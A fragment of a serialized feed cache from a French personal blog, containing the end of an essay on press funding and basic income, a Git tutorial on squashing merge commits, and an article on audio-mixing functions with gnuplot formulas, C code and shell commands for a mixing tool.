Et pour les journalistes, ce parasite engendre une dépendance financière pouvant influencer le fond du discours. D’une manière générale, les sources de financement ont souvent tendance à réduire l’indépendance, pierre angulaire du journalisme.
C’est la raison pour laquelle certains essaient de ne dépendre que de leurs lecteurs. Mais, pour la plupart d’entre eux (pas tous), cela signifie limiter le contenu aux seuls abonnés. En effet, si tout est déjà accessible, pourquoi payer ?
Cependant, en pratique, seuls quelques gros sites peuvent se permettre cette restriction (les internautes ne vont pas s’abonner aux milliers de sites qu’ils visitent). Et au fond, est-ce bien le web que nous voulons, cloisonné par des barrières à péages ?
Du côté des lecteurs, la publicité ralentit la navigation, impose une pollution visuelle et collecte certaines données personnelles ; pas étonnant qu’ils cherchent à s’en prémunir !
Dans le monde de la rareté, l’échange monétaire provient de la rencontre de l’offre et de la demande. Dans le monde de l’immatériel, l’offre et la demande se rencontrent déjà parfaitement sans monnaie, qui ne joue alors plus le rôle de facilitateur d’échange, mais au contraire d’obstacle : il est nécessaire de restreindre ou dégrader le résultat du travail pour pouvoir “gagner sa vie”.
Le métier de certains journalistes, dont personne ne conteste l’utilité, est menacé, car nous avons intégré le fait que le revenu devait provenir exclusivement du travail. Mais si ce travail ne génère pas d’argent, doit-il disparaître ?
La publicité est omniprésente car il faut absolument gagner de l’argent autrement, l’information en elle-même n’en rapportant pas. Pourtant, les internautes vont bien sur les sites de presse pour l’information, pas pour la publicité !
Et si une partie du revenu était indépendante du travail ? Dissocier le revenu et l’emploi n’améliorerait-il pas la situation, pour tout le monde et en particulier pour les journalistes ?
Le revenu de base augmente la possibilité d’activités non rentables, sans ajouter de dépendances (car inconditionnel).
La rentabilité ayant tendance à entraver et dénaturer le journalisme, ne devrions-nous envisager sérieusement cette proposition dans les débats sur le financement de la presse, et plus généralement sur les productions potentiellement non-marchandes ?
Le revenu de base n’interdirait bien sûr pas les autres sources de financement : il s’y ajouterait. Simplement, il augmenterait la capacité à refuser des financements contraignants, tels que ceux provenant de la publicité…
";s:7:"dateiso";s:15:"20130613_154738";}s:15:"20130530_174050";a:7:{s:5:"title";s:25:"GIT : squasher des merges";s:4:"link";s:54:"http://blog.rom1v.com/2013/05/git-squasher-des-merges/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=4507";s:7:"pubDate";s:31:"Thu, 30 May 2013 15:40:50 +0000";s:11:"description";s:320:"Supposons que je souhaite ajouter une fonctionnalité à un projet sur GIT. Je prends la version actuelle de la branche master (A), puis ajoute sur ma branche topic les commits X et Y. X---Y topic / --A master Je propose la fonctionnalité upstream (par un git request-pull ou une pull request), qui met un peu […]";s:7:"content";s:7041:"Supposons que je souhaite ajouter une fonctionnalité à un projet sur GIT.
Je prends la version actuelle de la branche master (A), puis ajoute sur ma branche topic les commits X et Y.
X---Y topic
/
--A master
Je propose la fonctionnalité upstream (par un git request-pull ou une pull request), qui met un peu de temps à être revue.
Pendant ce temps, la branche master a avancé, et malheureusement les modifications effectuées entrent en conflit avec mon travail sur topic.
X---Y topic
/
--A---B---C master
Une fois mon code revu et accepté, les mainteneurs vont alors me demander de résoudre les conflits avec la branche master avant de merger ma branche topic.
Si j’avais eu à prendre en compte les mises à jour de master avant d’avoir rendu public mon topic, j’aurais simplement rebasé mon travail par-dessus master. Mais là, impossible.
Je dois donc merger. Très bien. Je merge et je résous les conflits.
X---Y---M topic
/ /
--A---B---C master
Mais, alors que je n’ai pas encore rendu M public, je m’aperçois qu’il y a un nouveau commit D sur master, que je veux intégrer dans topic.
X---Y---M topic
/ /
--A---B---C---D master
La solution la plus évidente est de merger à nouveau.
X---Y---M---N topic
/ / /
--A---B---C---D master
Mais je voudrais éviter un commit de merge inutile. Pour un seul, ce n’est pas très gênant, mais si on maintient une branche suffisamment longtemps avant qu’elle ne soit mergée, ces commits inutiles vont se multiplier.
Une solution serait de revenir à Y et de le merger avec D :
git checkout topic
git reset --hard Y
git merge master
X---Y---M' topic
/ \
--A---B---C---D master
Mais dans ce cas, pour créer M', je vais devoir résoudre à nouveau les conflits que j’avais déjà résolu en créant M.
Comment éviter ce problème ?
Une solution est d’avoir activé rerere avant d’avoir résolu les conflits de M :
git config rerere.enabled true
Ainsi, lorsque je tenterai de merger à nouveau Y et D, les conflits entre Y et C seront automatiquement résolus de la même manière que précédemment.
Cependant, cette méthode a ses inconvénients.
Tout d’abord, il ne s’agit que d’un cache local de résolutions des conflits, stocké pendant une durée déterminée (par défaut à 60 jours pour les conflits résolus), ce qui est peu pratique si on clone son dépôt sur plusieurs machines (les conflits ne seront résolus automatiquement que sur certaines).
Ensuite, elle est inutilisable lorsqu’on souhaite squasher un merge conflictuel alors que rerere était désactivé lors de sa création.
Enfin, cette fonctionnalité est encore récente, et la fonction git rerere forget (pour permettre de résoudre autrement des conflits déjà résolus), a la fâcheuse tendance à segfaulter (un patch a été proposé).
La solution que j’utilise est donc la suivante.
X---Y---M---N topic
/ / /
--A---B---C---D master
Une fois obtenus les deux merges M et N, le principe est de remplacer le parent de N, qui était M, par Y, sans rien changer d’autre au contenu.
-----
/ \
X---Y---M N' topic
/ / /
--A---B---C---D master
Ainsi, M devient inatteignable, et c’est exactement le résultat souhaité :
X---Y-------N' topic
/ /
--A---B---C---D master
Pour faire cela, il faut déplacer le HEAD (pointant vers topic) sur Y, faire croire à GIT qu’on est en phase de merge avec D en modifiant la référence MERGE_HEAD, puis commiter :
git checkout N
git reset --soft Y
git update-ref MERGE_HEAD D
git commit -eF <(git log ..N ^D --pretty='# %H%n%s%n%n%b')
Il n’y a plus qu’à éditer le message de commit de merge.
La fin de la ligne du git commit permet de concaténer l’historique des commits intermédiaires (a priori uniquement des merges) comme lors d’un squash avec git rebase (pour pouvoir conserver les messages de merges intermédiaires, contenant nontamment les conflits).
En utilisant les références plutôt que les numéros de commit, cela donne :
git checkout feature
git reset --soft HEAD~2
git update-ref MERGE_HEAD master
git commit -eF <(git log ..HEAD@{1} ^master --pretty='# %H%n%s%n%n%b')
Si vous avez plus simple, je suis preneur…
Merci aux membres de stackoverflow.
";s:7:"dateiso";s:15:"20130530_174050";}s:15:"20130530_154050";a:7:{s:5:"title";s:26:"GIT : squasher des merges";s:4:"link";s:53:"http://blog.rom1v.com/2013/05/git-squasher-des-merges";s:4:"guid";s:53:"http://blog.rom1v.com/2013/05/git-squasher-des-merges";s:7:"pubDate";s:25:"2013-05-30T15:40:50+02:00";s:11:"description";s:0:"";s:7:"content";s:6746:"
Supposons que je souhaite ajouter une fonctionnalité à un projet sur GIT.
Je prends la version actuelle de la branche master (A), puis ajoute sur ma
branche topic les commits X et Y.
X---Y topic
/
--A master
Je propose la fonctionnalité upstream (par un git request-pull ou une pull
request), qui met un peu de temps à être revue.
Pendant ce temps, la branche master a avancé, et malheureusement les
modifications effectuées entrent en conflit avec mon travail sur topic.
X---Y topic
/
--A---B---C master
Une fois mon code revu et accepté, les mainteneurs vont alors me demander de
résoudre les conflits avec la branche master avant de merger ma branche
topic.
Si j’avais eu à prendre en compte les mises à jour de master avant d’avoir
rendu public mon topic, j’aurais simplement rebasé mon travail
par-dessus master. Mais là, impossible.
Je dois donc merger. Très bien. Je merge et je résous les conflits.
X---Y---M topic
/ /
--A---B---C master
Mais, alors que je n’ai pas encore rendu M public, je m’aperçois qu’il y a un
nouveau commit D sur master, que je veux intégrer dans topic.
X---Y---M topic
/ /
--A---B---C---D master
La solution la plus évidente est de merger à nouveau.
X---Y---M---N topic
/ / /
--A---B---C---D master
Mais je voudrais éviter un commit de merge inutile. Pour un seul, ce n’est pas très gênant, mais si on maintient une branche suffisamment longtemps avant qu’elle ne soit mergée, ces commits inutiles vont se multiplier.
Une solution serait de revenir à Y et de le merger avec D :
git checkout topic
git reset --hard Y
git merge master
Ce qui donne :
X---Y---M' topic
/ \
--A---B---C---D master
Mais dans ce cas, pour créer M', je vais devoir résoudre à nouveau les
conflits que j’avais déjà résolu en créant M.
Comment éviter ce problème ?
Une solution est d’avoir activé rerere avant d’avoir résolu les conflits
de M :
git config rerere.enabled true
Ainsi, lorsque je tenterai de merger à nouveau Y et D, les conflits entre
Y et C seront automatiquement résolus de la même manière que précédemment.
Cependant, cette méthode a ses inconvénients.
Tout d’abord, il ne s’agit que d’un cache local de résolutions des conflits, stocké pendant une durée déterminée (par défaut à 60 jours pour les conflits résolus), ce qui est peu pratique si on clone son dépôt sur plusieurs machines (les conflits ne seront résolus automatiquement que sur certaines).
Ensuite, elle est inutilisable lorsqu’on souhaite squasher un merge conflictuel alors que rerere était désactivé lors de sa création.
Enfin, cette fonctionnalité est encore récente, et la fonction git rerere
forget (pour permettre de résoudre autrement des conflits déjà résolus), a la
fâcheuse tendance à segfaulter (un patch a été proposé).
La solution que j’utilise est donc la suivante.
X---Y---M---N topic
/ / /
--A---B---C---D master
Une fois obtenus les deux merges M et N, le principe est de remplacer le
parent de N, qui était M, par Y, sans rien changer d’autre au contenu.
-----
/ \
X---Y---M N' topic
/ / /
--A---B---C---D master
Ainsi, M devient inatteignable, et c’est exactement le résultat souhaité :
X---Y-------N' topic
/ /
--A---B---C---D master
Pour faire cela, il faut déplacer le HEAD (pointant vers topic) sur Y, faire
croire à GIT qu’on est en phase de merge avec D en modifiant la référence
MERGE_HEAD, puis commiter :
git checkout N
git reset --soft Y
git update-ref MERGE_HEAD D
git commit -eF <(git log ..HEAD@{1} ^master --pretty='# %H%n%s%n%n%b')Il n’y a plus qu’à éditer le message de commit de merge.
La fin de la ligne du git commit permet de concaténer l’historique des commits
intermédiaires (a priori uniquement des merges) comme lors d’un squash avec
git rebase (pour pouvoir conserver les messages de merges intermédiaires,
contenant nontamment les conflits).
En utilisant les références plutôt que les numéros de commit, cela donne :
git checkout feature
git reset --soft HEAD~2
git update-ref MERGE_HEAD master
git commit -eF <(git log ..HEAD@{1} ^master --pretty='# %H%n%s%n%n%b')Si vous avez plus simple, je suis preneur…
Merci aux membres de stackoverflow.
";s:7:"dateiso";s:15:"20130530_154050";}s:15:"20130129_151545";a:7:{s:5:"title";s:15:"Le mixage audio";s:4:"link";s:46:"http://blog.rom1v.com/2013/01/le-mixage-audio/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=4358";s:7:"pubDate";s:31:"Tue, 29 Jan 2013 14:15:45 +0000";s:11:"description";s:405:"Que se passe-t-il lorsque nous percevons le son provenant de plusieurs sources audio simultanément, par exemple lorsque plusieurs personnes parlent en même temps ? Dans la réalité, ce que nous entendons est la somme de chacun des signaux. Mais si nous voulons mélanger plusieurs pistes audio numériques, nous rencontrons un problème : chaque échantillon d’un signal audio […]";s:7:"content";s:22968:"Que se passe-t-il lorsque nous percevons le son provenant de plusieurs sources audio simultanément, par exemple lorsque plusieurs personnes parlent en même temps ?
Dans la réalité, ce que nous entendons est la somme de chacun des signaux.
Mais si nous voulons mélanger plusieurs pistes audio numériques, nous rencontrons un problème : chaque échantillon d’un signal audio est compris entre une valeur min et une valeur max, disons entre -1 et 1. Pour les mixer, nous ne pouvons donc pas sommer plusieurs signaux comme dans la réalité : le signal résultant doit aussi être compris entre -1 et 1. Comment faire alors ?
Les graphes présentés dans les sections suivantes ont été créés avec gnuplot, et les définitions de fonctions sont écrites dans la syntaxe correspondante. Les sources (.gnu) sont disponibles pour chacun des graphes, vous permettant de les manipuler en 3D.
La première idée est de sommer les signaux en tronquant le résultat dans l’intervalle [-1; 1]. Pour le mixage de deux sources audio x et y :
mix_sum(x, y) = min(1, max(-1, x + y))
Le résultat sera parfait lorsque |x + y| <= 1. Par contre, dans le reste des cas, nous obtenons du clipping, désagréable à l’oreille.
Visualisons cette fonction :
Les axes horizontaux correspondent à un échantillon de chacune des deux sources audio ; l’axe vertical représente la valeur résultant de la combinaison des deux en utilisant la somme tronquée.
Le clipping correspond aux deux paliers horizontaux du haut et du bas.
Pour éviter tout clipping, il suffirait de moyenner les deux sources audio :
mix_mean(x, y) = (x + y) / 2;
Effectivement, ça fonctionne bien. Mais ce n’est pas forcément le meilleur choix.
Le son résultant va toujours être plus faible que le plus fort des deux sources, et souvent de manière significative. En particulier, si nous mélangeons une source audio quelconque avec un silence, l’amplitude va être divisée par deux.
De plus, la définition va également être divisée par deux : si l’amplitude est codée sur 8 bits, elle peut prendre 256 valeurs. En divisant les signaux par deux, chaque signal aura une définition de 7 bits (128 valeurs).
Ces inconvénients s’agravent lorsqu’il y a plus de deux sources à mélanger.
Nous pouvons alors chercher un compromis entre conserver l’amplitude et éviter le clipping. En fait, les fonctions de somme tronquée et de moyenne ne sont que deux cas particuliers de cette fonction :
mix_ksum(k, x, y) = min(1, max(-1, k * (x + y)))
En effet :
mix_sum(x, y) = mix_ksum(1, x, y)
mix_mean(x, y) = mix_ksum(0.5, x, y)
Nous pouvons choisir n’importe quel k entre 0.5 et 1 : plus k est faible, moins le clipping sera probable ; plus k est élevé, plus l’amplitude sera conservée.
Voici le graphe pour k = 0.7 :
Cette méthode est très utile si nous connaissons à l’avance les sources audio. Par exemple, pour mélanger deux fichiers son, nous pouvons effectuer une première passe pour analyser le max m de la somme des deux signaux, et choisir k < 1/m : cela garantit qu’il n’y aura pas de clipping, et nous pouvons conserver l’amplitude dans la mesure du possible, sans distorsion.
Si ces sources audio nous parviennent en direct (streaming, conversation audio…), nous pouvons choisir un nombre arbitrairement (plus ou moins basé sur l’expérience). Choisir k > 0.5 se justifie car si deux sources audio sont indépendantes, les ajouter ne provoque pas des pics deux fois plus importants (les pics d’un signal vont souvent être compensés par les creux de l’autre).
Mais nous pouvons trouver un meilleur compromis grâce à des fonctions non-linéaires.
Dans la première partie de son billet Mixing digital audio, Viktor T. Toth présente une stratégie très intéressante. Il part du principe que le mixage de deux sources audio doit respecter les règles suivantes :
Et si les signaux prennent valeur dans [0, 1], la fonction suivante respecte ces contraintes :
vtt(x, y) = x + y - x * y
Cependant, en réalité, les signaux prennent valeur dans [-1, 1], et cette fonction ne convient pas. L’auteur s’en est rendu compte, mais malheureusement la solution qu’il propose n’est pas appropriée (par exemple, le mixage ne se comporte pas symétriquement si nous inversons le signal).
Nous pouvons extrapoler son idée originale pour la faire fonctionner sur [-1, 1] :
mix_vtt(x, y) = \
x >= 0 && y >= 0 ? x + y - x * y \
: x <= 0 && y <= 0 ? x + y + x * y \
: x + y
Le principe est d’utiliser le symétrique de sa fonction pour la partie négative, et ajouter deux bouts de plans pour les raccords :
Mais quelque chose saute aux yeux : sa représentation n’est pas lisse (la fonction n’est pas continûment dérivable (C1)). Cela signifie que les variations du résultat en fonction des variations des sources changent brutalement en certains endroits.
Ce n’est pas satisfaisant mathématiquement.
Et en effet, en y réfléchissant, la fonction souffre de quelques défauts.
Par exemple, si l’une des deux sources audio est à 1, alors si l’autre est positive, elle n’a aucun impact, si elle est négative, elle a un impact linéaire important. Ce n’est rien d’autre qu’un clipping de l’une des deux sources.
Par ailleurs, dans la réalité, le mixage de deux signaux est simplement leur addition. Le résultat est donc invariant si nous ajoutons une constante à une source et la soustrayons à l’autre :
mix(x, y) = mix(x + k, y - k) = x + y
Cette propriété me semble importante : peu importe que le son provienne d’une source ou d’une autre, cela n’intervient pas dans le mixage.
Or, dans la fonction précédente, ce n’est pas le cas. Par exemple :
mix_vttx(0.5, 0.5) = 0.75
min_vttx(0, 1) = 1
Afin de dépasser ce problème, posons cette propriété comme principe : puisque l’identification de l’apport individuel de chaque signal ne compte pas, considérons uniquement leur somme (ou leur moyenne). Ainsi, au lieu d’une fonction à deux variables x et y, nous pouvons utiliser une fonction à une seule variable z = (x + y) / 2 (la moyenne).
Remarquons que nous pouvions déjà exprimer les fonctions linéaires vues précédemment en fonction d’une seule variable. En effet, en posant z = (x + y) / 2, nous obtenons :
sum(z) = max(-1, min(1, 2 * z))
mean(z) = z
ksum(z) = max(-1, min(1, 2 * k * z))
Dans le fond, nous cherchons une fonction qui s’approche de sum pour les amplitudes faibles (pour conserver l’amplitude au mieux) et de mean pour les amplitudes élevées (pour éviter le clipping).
Avec un peu d’imagination, nous pouvons trouver une fonction qui convient parfaitement (pour 2 pistes audio) :
g(z) = z * (2 - abs(z))
Elle se généralise pour n pistes audio :
g(z) = sgn(z) * (1 - (1 - abs(z)) ** n)
abs(x) désigne la valeur absolue de x (|x|), et ** est la fonction puissance (a ** n signifie an)
Cette fonction a plein de propriétés intéressantes :
Passons alors en 3 dimensions, et posons :
mix_f(x, y) = g((x + y) / 2)
Nous nous apercevons que c’est une version lissée de la fonction précédente :
Cette fonction me semble donc pertinente pour mixer plusieurs flux audio.
Bon, jusqu’ici nous avons fait de beaux dessins, c’était rigolo. Maintenant, passons à la pratique, et implémentons les fonctions de mixage en C.
Nous manipulerons uniquement des flux audio brut (des wav sans en-tête), contenant uniquement des échantillons encodés par des entiers signés sur 16 bits, en little endian. Ça peut paraître compliqué comme ça, mais c’est juste le format utilisé pour les cd audio.
Le programme est indifférent au nombre de canaux ou à la fréquence (il mixe les échantillons les uns à la suite des autres), mais bien évidemment les différentes pistes mixées doivent avoir ces paramètres identiques.
Bien que nous n’ayons vu jusqu’ici que le mixage de deux pistes audio (au-delà c’était compliqué de les visualiser sur des graphes), l’implémentation permet de mixer n pistes audio.
Le mixage s’effectue sur un échantillon de chaque piste audio à la fois (il est indépendant des échantillons précédents et suivants). Les fonctions de mixage ont toutes la même signature :
int mix(int n, int samples[])
nsamplesn échantillons à mixer
La valeur du retour ainsi que celles des samples[i] tient sur 16 bits (compris entre -32768 et 32767).
À titre d’exemple, voici l’implémentation de la fonction f (celle qui est lisse) :
int
mix_f(int n, int samples[])
{
double z = _dsum(n, samples) / n;
int sgn = z >= 0 ? 1 : -1;
double g = sgn * (1 - pow(1 - sgn * z, n));
return to_int16(g);
}
avec _dsum une fonction qui somme les n samples et to_int16 une fonction qui convertit un flottant compris entre -1 et 1 vers un entier compris entre -32768 et 32767.
Une fonction main s’occupe d’ouvrir les fichiers dont les noms sont passés en paramètres et d’appliquer pour chaque échantillon la fonction de mixage désirée.
Les sources complètes sont gitées :
git clone http://git.rom1v.com/mixpoc.git
(ou sur github).
Le projet contient :
mixpoc.c) ;Makefile) ;*.gnu) ;Le PoC ne manipule que des fichiers raw. Il est peu probable que vous ayez de tels fichiers sur votre ordinateurs, vous devez donc pouvoir en créer à partir de vos fichiers audio habituels.
Vous aurez besoin de sox et éventuellement avconv ou ffmpeg.
./toraw file.wav file.raw
./toraw file.ogg file.raw
./toraw file.flac file.raw
Pour l’opération inverse :
./rawtowav file.raw file.wav
Si le format n’est pas supporté par sox (comme le mp3), convertissez-le en wav d’abord :
avconv -i file.mp3 file.wav
ffmpeg -i file.mp3 file.wav
Il est possible de lire des fichiers raw directement et d’en enregistrer de nouveaux à partir du microphone (pratique pour essayer de mixer une musique avec une conversation).
Le paquet alsa-utils doit être installé (vérifiez que le microphone est bien activé dans alsamixer).
Pour enregistrer :
./record file.raw
./record > file.raw
Pour lire :
./play file.raw
./play < file.raw
Pour lire en direct le son provenant du microphone (à tester avec un casque pour éviter l’effet Larsen) :
./record | ./play
Pour compiler mixpoc (nécessite make et un compilateur C comme gcc) :
make
Pour l’utiliser, la syntaxe est la suivante :
./mixpoc (sum|mean|ksum|vttx|f) file1 [file2 [...]]
Le résultat sort sur la sortie standard. Ainsi :
./mixpoc f file1.raw file2.raw filen.raw > result.raw
écrit le fichier result.raw.
Pour lire en direct le résultat :
./mixpoc f file1.raw file2.raw filen.raw | ./play
ou plus simplement (grâce au script mix) :
./mix f file1.raw file2.raw filen.raw
Pour ajouter une source silencieuse, vous pouvez utiliser /dev/zero :
./mix f file.raw /dev/zero
Vous avez maintenant tout ce dont vous avez besoin pour tester.
Pour visualiser les graphes gnuplot, je vous conseille le paquet gnuplot-qt.
Pour les ouvrir :
gnuplot -p file.gnu
La souris ou les flèches du clavier permettent de tourner le graphe en 3 dimensions.
Les commandes nécessaires pour générer une image .png sont écrites en commentaire à l’intérieur du fichier. Je les ai fait commencer par ## pour pouvoir les décommenter automatiquement (sans décommenter le reste) avec un script.
Ainsi, pour générer les fichiers .png :
./gg file.gnu
./gg *.gnu
Pour mixer plusieurs pistes son, la fonction f me semble très bonne, à la fois en théorie et en pratique. Sur les exemples que j’ai testés, le résultat était celui attendu.
Cependant, je n’ai ni du matériel audio ni des oreilles de haute qualité, et mes connaissances en acoustique sont très limitées.
Les critiques sont donc les bienvenues.
";s:7:"dateiso";s:15:"20130129_151545";}s:15:"20130129_141545";a:7:{s:5:"title";s:15:"Le mixage audio";s:4:"link";s:45:"http://blog.rom1v.com/2013/01/le-mixage-audio";s:4:"guid";s:45:"http://blog.rom1v.com/2013/01/le-mixage-audio";s:7:"pubDate";s:25:"2013-01-29T14:15:45+01:00";s:11:"description";s:0:"";s:7:"content";s:26601:"Que se passe-t-il lorsque nous percevons le son provenant de plusieurs sources audio simultanément, par exemple lorsque plusieurs personnes parlent en même temps ?
Dans la réalité, ce que nous entendons est la somme de chacun des signaux.
Mais si nous voulons mélanger plusieurs pistes audio numériques, nous
rencontrons un problème : chaque échantillon d’un signal audio est compris
entre une valeur min et une valeur max, disons entre -1 et 1. Pour les
mixer, nous ne pouvons donc pas sommer plusieurs signaux comme dans la
réalité : le signal résultant doit aussi être compris entre -1 et 1. Comment
faire alors ?
Les graphes présentés dans les sections suivantes ont été créés avec
gnuplot, et les définitions de fonctions sont écrites dans la syntaxe
correspondante. Les sources (.gnu) sont disponibles pour chacun des graphes,
vous permettant de les manipuler en 3D.
La première idée est de sommer les signaux en tronquant le résultat dans
l’intervalle [-1; 1]. Pour le mixage de deux sources audio x et y :
mix_sum(x, y) = min(1, max(-1, x + y))Le résultat sera parfait lorsque |x + y| <= 1. Par contre, dans le reste des
cas, nous obtenons du clipping, désagréable à l’oreille.
Visualisons cette fonction :

Les axes horizontaux correspondent à un échantillon de chacune des deux sources audio ; l’axe vertical représente la valeur résultant de la combinaison des deux en utilisant la somme tronquée.
Le clipping correspond aux deux paliers horizontaux du haut et du bas.
Pour éviter tout clipping, il suffirait de moyenner les deux sources audio :
mix_mean(x, y) = (x + y) / 2;
Effectivement, ça fonctionne bien. Mais ce n’est pas forcément le meilleur choix.
Le son résultant va toujours être plus faible que le plus fort des deux sources, et souvent de manière significative. En particulier, si nous mélangeons une source audio quelconque avec un silence, l’amplitude va être divisée par deux.
De plus, la définition va également être divisée par deux : si l’amplitude est codée sur 8 bits, elle peut prendre 256 valeurs. En divisant les signaux par deux, chaque signal aura une définition de 7 bits (128 valeurs).
Ces inconvénients s’agravent lorsqu’il y a plus de deux sources à mélanger.
Nous pouvons alors chercher un compromis entre conserver l’amplitude et éviter le clipping. En fait, les fonctions de somme tronquée et de moyenne ne sont que deux cas particuliers de cette fonction :
mix_ksum(k, x, y) = min(1, max(-1, k * (x + y)))En effet :
mix_sum(x, y) = mix_ksum(1, x, y)
mix_mean(x, y) = mix_ksum(0.5, x, y)Nous pouvons choisir n’importe quel k entre 0.5 et 1 : plus k est faible,
moins le clipping sera probable ; plus k est élevé, plus l’amplitude sera
conservée.
Voici le graphe pour k = 0.7 :

Cette méthode est très utile si nous connaissons à l’avance les sources audio.
Par exemple, pour mélanger deux fichiers son, nous pouvons effectuer une
première passe pour analyser le max m de la somme des deux signaux, et choisir
k < 1/m : cela garantit qu’il n’y aura pas de clipping, et nous pouvons
conserver l’amplitude dans la mesure du possible, sans distorsion.
Si ces sources audio nous parviennent en direct (streaming, conversation
audio…), nous pouvons choisir un nombre arbitrairement (plus ou moins basé sur
l’expérience). Choisir k > 0.5 se justifie car si deux sources audio sont
indépendantes, les ajouter ne provoque pas des pics deux fois plus importants
(les pics d’un signal vont souvent être compensés par les creux de l’autre).
Mais nous pouvons trouver un meilleur compromis grâce à des fonctions non-linéaires.
Dans la première partie de son billet Mixing digital audio, Viktor T. Toth présente une stratégie très intéressante. Il part du principe que le mixage de deux sources audio doit respecter les règles suivantes :
Et si les signaux prennent valeur dans [0, 1], la fonction suivante respecte
ces contraintes :
vtt(x, y) = x + y - x * y
Cependant, en réalité, les signaux prennent valeur dans [-1, 1], et cette
fonction ne convient pas. L’auteur s’en est rendu compte, mais malheureusement
la solution qu’il propose n’est pas appropriée (par exemple, le mixage ne se
comporte pas symétriquement si nous inversons le signal).
Nous pouvons extrapoler son idée originale pour la faire fonctionner sur [-1,
1] :
mix_vtt(x, y) = \
x >= 0 && y >= 0 ? x + y - x * y \
: x <= 0 && y <= 0 ? x + y + x * y \
: x + yLe principe est d’utiliser le symétrique de sa fonction pour la partie négative, et ajouter deux bouts de plans pour les raccords :

Mais quelque chose saute aux yeux : sa représentation n’est pas lisse (la fonction n’est pas continûment dérivable (C1)). Cela signifie que les variations du résultat en fonction des variations des sources changent brutalement en certains endroits.
Ce n’est pas satisfaisant mathématiquement.
Et en effet, en y réfléchissant, la fonction souffre de quelques défauts.
Par exemple, si l’une des deux sources audio est à 1, alors si l’autre est
positive, elle n’a aucun impact, si elle est négative, elle a un impact
linéaire important. Ce n’est rien d’autre qu’un clipping de l’une des deux
sources.
Par ailleurs, dans la réalité, le mixage de deux signaux est simplement leur addition. Le résultat devrait donc être invariant si nous ajoutons une constante à une source et la soustrayons à l’autre :
mix(x, y) = mix(x + k, y - k) = x + yCette propriété me semble importante : peu importe que le son provienne d’une source ou d’une autre, cela n’intervient pas dans le mixage.
Or, dans la fonction précédente, elle n’est pas respectée. Par exemple :
mix_vttx(0.5, 0.5) = 0.75
min_vttx(0, 1) = 1Afin de dépasser ce problème, posons cette propriété comme principe : puisque
l’identification de l’apport individuel de chaque signal ne compte pas,
considérons uniquement leur somme (ou leur moyenne). Ainsi, au lieu d’une
fonction à deux variables x et y, nous pouvons utiliser une fonction à une
seule variable z = (x + y) / 2 (la moyenne).
Remarquons que nous pouvions déjà exprimer les fonctions linéaires vues
précédemment en fonction d’une seule variable. En effet, en posant z = (x + y)
/ 2, nous obtenons :
sum(z) = max(-1, min(1, 2 * z))
mean(z) = z
ksum(z) = max(-1, min(1, 2 * k * z))Dans le fond, nous cherchons une fonction qui s’approche de sum pour les
amplitudes faibles (pour conserver l’amplitude au mieux) et de mean pour les
amplitudes élevées (pour éviter le clipping).
Avec un peu d’imagination, nous pouvons trouver une fonction qui convient parfaitement (pour 2 pistes audio) :
g(z) = z * (2 - abs(z))Elle se généralise pour n pistes audio :
g(z) = sgn(z) * (1 - (1 - abs(z)) ** n)abs(x) désigne la valeur absolue de x (|x|), et ** est la fonction
puissance (a ** n signifie an)

Cette fonction a plein de propriétés intéressantes :
Passons alors en 3 dimensions, et posons :
mix_f(x, y) = g((x + y) / 2)
Nous nous apercevons que c’est une version lissée de la fonction précédente :

Cette fonction me semble donc pertinente pour mixer plusieurs flux audio.
Bon, jusqu’ici nous avons fait de beaux dessins, c’était rigolo. Maintenant, passons à la pratique, et implémentons les fonctions de mixage en C.
Nous manipulerons uniquement des flux audio brut (des wav sans en-tête), contenant uniquement des échantillons encodés par des entiers signés sur 16 bits, en little endian. Ça peut paraître compliqué comme ça, mais c’est juste le format utilisé pour les cd audio.
Le programme est indifférent au nombre de canaux ou à la fréquence (il mixe les échantillons les uns à la suite des autres), mais bien évidemment les différentes pistes mixées doivent avoir ces paramètres identiques.
Bien que nous n’ayons vu jusqu’ici que le mixage de deux pistes audio (au-delà c’était compliqué de les visualiser sur des graphes), l’implémentation permet de mixer n pistes audio.
Le mixage s’effectue sur un échantillon de chaque piste audio à la fois (il est indépendant des échantillons précédents et suivants). Les fonctions de mixage ont toutes la même signature :
int mix(int n, int samples[]);nsamplesn échantillons à mixerLa valeur du retour ainsi que celles des samples[i] tient sur 16 bits (compris entre -32768 et 32767).
À titre d’exemple, voici l’implémentation de la fonction f (celle qui est lisse) :
int mix_f(int n, int samples[]) {
double z = _dsum(n, samples) / n;
int sgn = z >= 0 ? 1 : -1;
double g = sgn * (1 - pow(1 - sgn * z, n));
return to_int16(g);
}avec _dsum une fonction qui somme les n samples et to_int16 une fonction
qui convertit un flottant compris entre -1 et 1 vers un entier compris entre
-32768 et 32767.
Une fonction main s’occupe d’ouvrir les fichiers dont les noms sont passés en
paramètres et d’appliquer pour chaque échantillon la fonction de mixage
désirée.
Les sources complètes sont gittées :
git clone http://git.rom1v.com/mixpoc.git
(ou sur github).
Le projet contient :
mixpoc.c) ;Makefile) ;*.gnu) ;Le PoC ne manipule que des fichiers raw. Il est peu probable que vous ayez de tels fichiers sur votre ordinateurs, vous devez donc pouvoir en créer à partir de vos fichiers audio habituels.
Vous aurez besoin de sox et éventuellement avconv ou ffmpeg.
./toraw file.wav file.raw
./toraw file.ogg file.raw
./toraw file.flac file.raw
Pour l’opération inverse :
./rawtowav file.raw file.wav
Si le format n’est pas supporté par sox (comme le mp3), convertissez-le en
wav d’abord :
avconv -i file.mp3 file.wav
ffmpeg -i file.mp3 file.wav
Il est possible de lire des fichiers raw directement et d’en enregistrer de nouveaux à partir du microphone (pratique pour essayer de mixer une musique avec une conversation).
Le paquet alsa-utils doit être installé (vérifiez que le microphone est bien
activé dans alsamixer).
Pour enregistrer :
./record file.raw
./record > file.raw
Pour lire :
./play file.raw
./play < file.raw
Pour lire en direct le son provenant du microphone (à tester avec un casque pour éviter l’effet Larsen) :
./record | ./play
Pour compiler mixpoc (nécessite make et un compilateur C comme gcc) :
make
Pour l’utiliser, la syntaxe est la suivante :
./mixpoc (sum|mean|ksum|vttx|f) file1 [file2 [...]]
Le résultat sort sur la sortie standard. Ainsi :
./mixpoc f file1.raw file2.raw filen.raw > result.raw
écrit le fichier result.raw.
Pour lire en direct le résultat :
./mixpoc f file1.raw file2.raw filen.raw | ./play
ou plus simplement (grâce au script mix) :
./mix f file1.raw file2.raw filen.raw
Pour ajouter une source silencieuse, vous pouvez utiliser /dev/zero :
./mix f file.raw /dev/zero
Vous avez maintenant tout ce dont vous avez besoin pour tester.
